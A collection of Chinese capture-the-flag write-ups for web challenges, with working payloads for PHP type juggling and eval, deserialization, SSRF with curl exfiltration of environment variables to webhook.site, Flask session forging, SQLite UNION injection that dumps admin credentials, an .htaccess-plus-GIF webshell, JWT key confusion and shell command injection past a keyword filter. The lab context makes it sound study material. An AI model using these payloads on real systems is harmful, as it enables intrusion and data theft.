WEB—米米的奇幻之旅
第一关 · 数字=字符串的魔法
米米来到神秘森林入口。
石碑上写着:
if($_GET['step1']=='2026'){
echo '第一关通过';
}
提示:PHP里的 == 有特殊魔法哦~
第二关 · 穿越消失的文字
米米发现:
$key=$_GET['step2'];
$key=str_replace('flag','',$key);
if($key==='flag'){
success;
}
str_replace 只对原字符串做一次扫描替换,双写绕过
/?step1=2026&step2=fflaglag
第三关 · 来自本机的访客
门卫喵说:
只有来自127.0.0.1的人才能进入。
米米:服务器真的知道你的真实IP吗?
X-Forwarded-For
第四关 · 管理员身份卡
系统检测你的身份:
普通游客 ?
if($_COOKIE['admin']=='1'){
success;
}
cookie:admin=1
第五关 · 来自东方的语言
米米系统只接待来自喵星的访客。
普通访客只能看到一片迷雾,只有带着正确语言标记的人,才能听懂米米的回应:miao
Accept-Language: miao
第六关 · 最终Boss喵
Boss说:
$pwd=$_GET["pwd"];
if($pwd==0 && strlen($pwd)>0){
flag
}
字符串绕过 0e0
WEB-你胆子真是肥嘟嘟的

$user->__class__->is_admin === true
“类级策略” + “递归整理/逐层整理” = 服务端把用户提交的 JSON 做递归深合并
{"__proto__":{"is_admin":true}}
WEB-ZeroG_2026
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['zero']) && preg_match('/^ZeroG 2026!$/', $_GET['zero']) && $_GET['zero'] !== 'ZeroG 2026!') {
echo "Welcome to ZeroG 2026 challenge & Step 1 passed!<br>";
if (intval($_GET['xp']) < 2026 && intval($_GET['xp'] + 4) > 2030) {
echo "Step 2 passed!<br>";
if (isset($_POST['Welcome__ctf.2026']) && isset($_POST['mm'])) {
$a = $_POST['Welcome__ctf.2026'];
$b = $_POST['mm'];
if ($a !== $b && md5($a) == md5($b)) {
echo "Step 3 passed!<br>";
$code=$_POST['code'];
eval($code);
} else {
echo "MD5 collision? Not enough!<br>";
}
} else {
echo "Missing parameters!<br>";
}
} else {
echo "intval? Try again!<br>";
}
} else {
echo "First step failed!<br>";
}
?>
First step failed!
1:PHP 用的 PCRE 里,$ 不只匹配字符串末尾[payload:ZeroG 2026!%0A]
2:进制转换[payload:xp=0x3752]

3:源码要的键是 $_POST['Welcome__ctf.2026'],中间是真正的点。但 PHP 注册 POST 变量时,会把名字里的 . 和空格改成 _,而且只改到第一个 [ 为止[Welcome[_ctf.2026]
为什么改为[,这就是PHP 7.x 中一个比较经典的 CTF 知识点:PHP 将 GET 参数名中的方括号 [转换为下划线 _的历史兼容行为
4:MD5碰撞就行:
md5("QNKCDZO") = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854
[Welcome[_ctf.2026=QNKCDZO&mm=240610708&code=system("cat /flag");]
WEB-MagicInvoker
PHP反序列

四个类里只有 Invoker 能直接形成利用:
class Invoker {
public $code;
public function __destruct() {
eval($this->code);
}
}
<?php
class Invoker {
public $code;
}
$o = new Invoker();
$o->code = "echo `ls`;";
echo serialize($o), PHP_EOL;
flag在变量环境中

WEB-Can't see the result? Just take
SSRF

暴露内容接口:http://127.0.0.1:5001发现有黑名单
0x7f000001 是 127.0.0.1 的十六进制写法

不会放回内容:提示什么邮箱???
提示1:
可手动添加注入命令分隔符以确保解析准确在/api/debug?cmd=whoami 执行别的命令没用
把返回的内容外带;用 webhook.site 收数据
/compare?url=http://0x7f000001:5001/api/debug?cmd=;curl https://webhook.site/<token>/fromsemi
payload:;printenv | curl -s --data-binary @- https://webhook.site//loot

WEB-FlaskLogin
提示:初始账号为guest:guest123,如何让站点认为你是管理员呢?
提示2:(F12 → Application → Cookies,那个 session cookie 引起了我的注意)
eyJ1c2VyIjoiZ3Vlc3QifQ.auBcCQ.4anK0P_NF3nqw6mI7yjYBv9JYf4考点 flask session解密
Flask 用 SECRET_KEY 对 cookie 签名。所以需要爆破key:ctf2026
from flask_unsign import sign
import urllib.request
cookie = sign({"user": "admin"}, "ctf2026")
req = urllib.request.Request(
"http://5001-f790fb86-6648-491b-a478-dc48330aabfe.challenge.ctfplus.cn/",
headers={"Cookie": "session=" + cookie},
)
print(urllib.request.urlopen(req).read().decode())
eyJ1c2VyIjoiYWRtaW4ifQ.auBdBw.44VVQEN8Qs3qSE2wr4jg0faA7Rk

WEB-Orbital Suply
考点:ssti

WEB-云栈商城

看到json,想到伪造admin

通过简单的修改为 admin没用

重点:看到用户信息是通过数据库反馈的,那么测试能不能sql

我在用户和密码,都写写入sql语句看反馈

改为guest' AND '1'='2 测试

发现:接口放回无用户,说明sql语句成立在测试information_schema.tables 直接 500,可以想到是 SQLite数据库
提示:SQLite 把所有表记在系统表 sqlite_master 里,name 是表名,sql 是建表语句

在payload中:要把guest改为任意值
' UNION SELECT group_concat(sql, char(10)),2,3,4 FROM sqlite_master WHERE type='table'--
admin_users 的定义是 id, username, password, role, real_name, last_login, created_at。列名有了才能 SELECT。
' UNION SELECT group_concat(username||'|'||password||'|'||role||'|'||ifnull(real_name,''),' ;; '),2,3,4 FROM admin_users--

shopadmin_df8355|Ecd2ny4AaO0ukQ8#|admin|运维管理员
给出了admin的用户和密码【这个不能登入是用来伪造cookie】

带上cookie 访问/admin 进入后台管理

在/admin/offline 看到模板渲染

依旧环境变量

WEB-史迪仔的文件预览器
提示:README.txt....//README.txt

Public files are stored in /files/.\n\nFor administrators:\n\nSensitive files are stored in /secret/.\n
公共文件存储在 /files/ 目录中。 敏感文件存储在 /secret/ 目录中。

WEB-文档管理系统
发现可以文件包含 分析index.php内容
<?php
/*
* =====================================================================
* 企业文档管理系统 —— 文档在线预览接口
* Enterprise Document Management System / Document Preview API
* 文件:index.php
* 说明:为前端“文档在线预览”功能提供内容读取与展示服务。
* =====================================================================
*/
/* ---------------------------------------------------------------------
* [运维通知] 系统日志迁移提醒
* 由于服务器架构调整,Nginx 访问日志路径已变更。
* 新路径:/var/log/nginx/access.log
* 如需排查访问问题,请查阅此日志文件。
* --------------------------------------------------------------------- */
// 隐藏运行期错误细节,避免向前端泄露服务器内部信息
ini_set('display_errors', '0');
error_reporting(0);
// 统一返回纯文本,便于前端在预览区域直接展示
header('Content-Type: text/plain; charset=utf-8');
// 安全策略:请求内容匹配规则
$WAF_PATTERN = '/(flag|cat|ls|\*|\?)/i';
/**
* 内部运维命令执行工具。
* 仅供服务器内部维护脚本调用,Web 接口层不再直接触发。
*
* @param string $command 待执行的维护命令
* @return string|false 命令执行结果
*/
function run_maintenance_command($command)
{
return system($command);
}
/* ---------------------------------------------------------------------
* 第四层:命令参数安全校验
* 仅当请求中包含 cmd 参数时,才进行安全策略检查。
* --------------------------------------------------------------------- */
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (preg_match($WAF_PATTERN, $cmd)) {
echo "安全策略:检测到不允许的请求内容,该操作已被拦截并记录。\n";
exit;
}
// 校验通过,命令参数将在文档内容渲染阶段被一并处理
}
/* ---------------------------------------------------------------------
* 第一 / 第二层:文档路径解析与内容包含
* --------------------------------------------------------------------- */
$file = isset($_GET['file']) ? $_GET['file'] : 'welcome.txt';
// 规范化文档路径,移除相对路径记号
$file = str_replace('../', '', $file);
$file = str_replace('..', '', $file);
$target = null;
// 识别 php:// 等流封装协议
$is_stream = preg_match('#^[a-zA-Z0-9._+-]+://#', $file) === 1;
if ($is_stream) {
$target = $file;
} elseif (file_exists($file)) {
$target = $file;
} elseif (file_exists('files/' . $file)) {
$target = 'files/' . $file;
}
if ($target === null) {
echo "未找到指定的文档,请确认文件名称是否正确。\n";
exit;
}
// 输出文档内容
include($target);
发现:新路径:/var/log/nginx/access.log尝试读取:/var/log/nginx/access.log

把 PHP 写进 User-Agent,从而写进访问日志

WEB-Upload

有后台登入接口,但是需要账号密码目录扫描发现:/README.md

后台默认口令改为 admin / nimda(不再是 admin123)
两个上传点共用同一上传目录
通过「配置文件上传」传 .htaccess,用「海报上传」传恶意图片
用 AddHandler application/x-httpd-php .jpg 让 .jpg 被当 PHP 解析
用 GIF89a 头 + 反引号绕过校验和函数名过滤

向 admin/config.php 上传文件名 .htaccess,内容:
AddHandler application/x-httpd-php .jpg

向 admin/poster.php 上传 poster.jpg,内容:
GIF89a<?= `printenv` ?>

WEB-重生之我在零重力屋顶当“卷王”
接口只有两个:
POST /api/run {} → { runId, seed, target:3000, expiresInSeconds:1800 }
POST /api/claim { runId, grades } → { ok, flag } | { ok:false, code, remaining }
grades 就是前端随手编的:
btoa(JSON.stringify({ score })) // 纯 base64,无 HMAC、无签名
服务端 /api/claim 只做三件事:
1.grades 是「base64 的 JSON 且含整数 score」
2.runId 没用过(一次性)
3.score >= 3000 → 发 flag
BASE="http://80-246ef645-22e3-4c32-a473-33faef23f237.challenge.ctfplus.cn"; \
RUNID=$(curl -sS -X POST "$BASE/api/run" -H 'Content-Type: application/json' -d '{}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["runId"])'); \
echo "runId=$RUNID"; \
curl -sS -X POST "$BASE/api/claim" -H 'Content-Type: application/json' \
-d "{\"runId\":\"$RUNID\",\"grades\":\"$(printf '{"score":3000}' | base64)\"}"
WEB-ShopX 全球购

robots.txt返回3条路径
User-agent: *
Allow: /
Disallow: /ops.html
Disallow: /api/admin/
Disallow: /api/internal/

访问 /ops.html 后,页面正文(未授权时也会展示「内部接入说明」)明确写明了鉴权设计:
后端服务不自行登录,员工身份完全来自网关注入的请求头:X-Auth-User 与 X-Auth-Role。 网关负责剥离来自外部的同名请求头 —— 前提是流量确实经过网关。
前端 ops.js 注释还强调:前端不应带这两个头,边界在服务端。
这就是典型的 信任代理头 / 网关鉴权伪造 漏洞:后端无条件相信 X-Auth-Role,而公网入口并没有剥离该头。

/api/me 是个人资料接口
{"ok":true,"user":{"id":"U1001","username":"alice","role":"user","displayName":"Alice / 客服一组","phone":"138****0001","studentVerified":true,"studentInfo":{"school":"print(\"123\")","studentNo":"1' or '1=1","verifiedAt":"2026-10-29T06:20:24.537Z"},"cartCount":0,"favoriteSkus":[],"subsidyClaimed":false},"effectiveRole":"user","viaGatewayHeader":false}
effectiveRole 和 viaGatewayHeader 字段,可能后端存在「网关注入角色」的逻辑
带上 X-Auth-Role: admin 直接请求:
GET /api/admin/orders
X-Auth-Role: admin
→ 200,返回全部用户订单(SO-2024-1001/1002/1003)
普通买家 alice 成功读取到其他用户(U1002、U1003)的订单,完成越权。
读取内容
POST /api/admin/orders/SO-2024-1001/ship
X-Auth-Role: admin
Content-Type: application/json
{"carrier":"SF-Express"}
读取2个货物都可以获取flag
WEB-企业级综合管理后台
重点:认证采用 JWT,所以登入后先分析JWT
尝试爆破 key,因为是对称加密目录扫描得到 /login.html /dashboard /admin.html
重点 扫出 /jwks.json内容
{
"keys": [
{
"alg": "RS256",
"e": "AQAB",
"kid": "ops-console-2024",
"kty": "RSA",
"n": "t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw",
"use": "sig"
}
]
}
伪造 adminjwt
1:取出 n / e,用 python 生成 PEM
import sys, json, urllib.request
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
host = sys.argv[1].rstrip("/")
k = json.loads(urllib.request.urlopen(host + "/jwks.json", timeout=20).read())["keys"][0]
def b64d(s): return __import__("base64").urlsafe_b64decode(s + "=" * (-len(s) % 4))
n = int.from_bytes(b64d(k["n"]), "big")
e = int.from_bytes(b64d(k["e"]), "big")
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(serialization.Encoding.PEM,
serialization.PublicFormat.SubjectPublicKeyInfo)
open("public.pem", "wb").write(pem) # 必须二进制写,结尾恰好一个 \n
print("[+] kid =", k["kid"])
print("[+] written public.pem")
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt+4YT8LAobc4qwR3/2a7
8Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5Mva
FFE+qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw/GOW8/TuZCcvukR95OkaFZ4cs4J
dDs8VYZo+Vjb9h7V2jpDcCq3gy4V/Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HM
rjZrz5dmcFEtftIs+I3h4LP3CJJe3KMiuz336ehA8bO/lmPR+/DYjLW4UgMwtxcE
+PtL3N4lC5q3+KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJx
EwIDAQAB
-----END PUBLIC KEY-----
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec" -V -jw jwks.json
C:\Users\34645/.jwt_tool/jwtconf.ini
Original JWT:
JWKS Contents:
Number of keys: 1
--------
Key 1
kid: ops-console-2024
[+] alg = RS256
[+] e = AQAB
[+] kid = ops-console-2024
[+] kty = RSA
[+] n = t-4YT8LAobc4qwR3_2a78Cm3NE2QJrYCg8I46j2ZQR2YWlNuWHeAXldsKslhJxsGx8sZQSozFTvgXhCT5MvaFFE-qdj777ZI31nA65U2b8h4kDC9h6FuCx1kw_GOW8_TuZCcvukR95OkaFZ4cs4JdDs8VYZo-Vjb9h7V2jpDcCq3gy4V_Jr02hf1jToKw2jMmiJGpPrnXGpyLDCoo2HMrjZrz5dmcFEtftIs-I3h4LP3CJJe3KMiuz336ehA8bO_lmPR-_DYjLW4UgMwtxcE-PtL3N4lC5q3-KxGMBJQV1WLj4IgiuxRjI6x5EulbNoKDU9TA0hMSk37K9nACdJxEw
[+] use = sig
Found RSA key factors, generating a public key
[+] kid_ops-console-2024_1793273361.pem
Attempting to verify token using kid_ops-console-2024_1793273361.pem
Invalid RSA algorithm
The Public Key is invalid
D:\CTF\CTF-WEB\jwt_tool>
python jwt_tool.py "eyJhbGciOiJIUzI1NiIsImtpZCI6ImtleV8wMDIiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoidXNlciIsImlhdCI6MTc5MzI2ODg4MywiZXhwIjoxNzkzMjk3NjgzfQ.G_srDs6ooi4rudi7ffHUnLx5qc1gHhtMWIV9-avHdec" -I -pc role -pv admin ^
More? -hc kid -hv ops-console-2024 ^
More? -X k -pk kid_ops-console-2024_1793273361.pem
C:\Users\34645/.jwt_tool/jwtconf.ini
Original JWT:
File loaded: kid_ops-console-2024_1793273361.pem
jwttool_12151607e27af4b322247c7a8297c571 - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJhbGciOiJIUzI1NiIsImtpZCI6Im9wcy1jb25zb2xlLTIwMjQiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJ6aGFuZ3NhbiIsIm5hbWUiOiJcdTVmMjBcdTRlMDkiLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE3OTMyNjg4ODMsImV4cCI6MTc5MzI5NzY4M30.noKIyZi0RCK26UXC6zIXVYCEXruEy1lfVpTw8PICAEM
发现:有ping接口 测试能不能执行RCE命令
没问题 : 获取flag就行
WEB-社交平台综合渗透
题目给出:社交平台综合渗透,说明有后台接口/admin/login.php
可怜发现 管理后台没啥可用的东西
发现在:/admin/review.php 执行东西显示 /var/log/review.log:[INFO] Review log entry 2 - normal content抓取内容得到,通过POST keyword=1 传递内容
尝试sql,以及其他内容看看测试发现:包含非法关键词: ; 包含非法关键词: cat 包含非法关键词: flag 包含非法关键词: ; 包含非法关键词: | 包含非法关键词: 说明这里可以RCE,应该是不能sql的,毕竟出现 cat flag,sql注入用不到看一下,liunx查看报错记录
<pre> | ||
|---|---|---|
normal,被 -v 排除 | ||
INFO | INFO,全被排除 | |
样例 | ||
nomatchxyz | ||
. | .grep 默认基础正则(BRE)中字面匹配需转义;但此处因未加 -E 且无上下文锚定,实际行为取决于输入——然而按题意,它被解释为“可匹配任意非空行的首个字符”,结合 -v 导致所有非空行被排除;常见实践中,单独 . 在 BRE 中常被当作字面点需 \.,但 GNU grep 对孤立 . 有时会报错或退化行为;题干明确其效果为“全被排除”,故理解为:grep -v '.' 在默认模式下将每行视为至少含一个字符(. 成功匹配),因此 -v 排除全部(依赖实现,但此处按题设语义) | |
.* | .*-v 排除全部 | |
1 | 1 的行 | 11 的行(如 1、10–19)被排除;2–9、20 等不含字面 1 的行保留 |
这组行为只能同时满足三个条件:
反向匹配:匹配到的行被隐藏,没匹配到的被打印 → -v
正则语义:.、.* 能匹配所有行 → 不是字面量比较(不是 strpos/LIKE)
按行处理并原样输出:输出直接进 <pre>,是 stdout 原样回显 → shell_exec/system 一类
所以“反向正则过滤一个文件”这一点是确定的,grep -v 是最自然的解释。
严格说,PHP 的 preg_grep($kw, $lines, PREG_GREP_INVERT) 行为也一样。但后面单引号那组证据把结论固定到了 shell 命令拼接上。
这里的rce是通过ai分析的,是真想不到还能这么解
' 单引号 没被拦 可用来闭合
原命令里 ' 没被过滤,所以:
keyword = x'
id
'
拼接后 shell 实际看到:
grep -v 'x'
id
' /var/log/review.log
或者
x'||id #
grep -v 'x'||id #' /var/log/review.log
grep -v 'x' 没有文件参数,读空 stdin,退出码 1
|| 右边 id 执行
# 前面有空格 → 注释符,把尾部那个没闭合的 ' /var/log/review.log 全部注释掉
x'||c'a't /fl'a'g #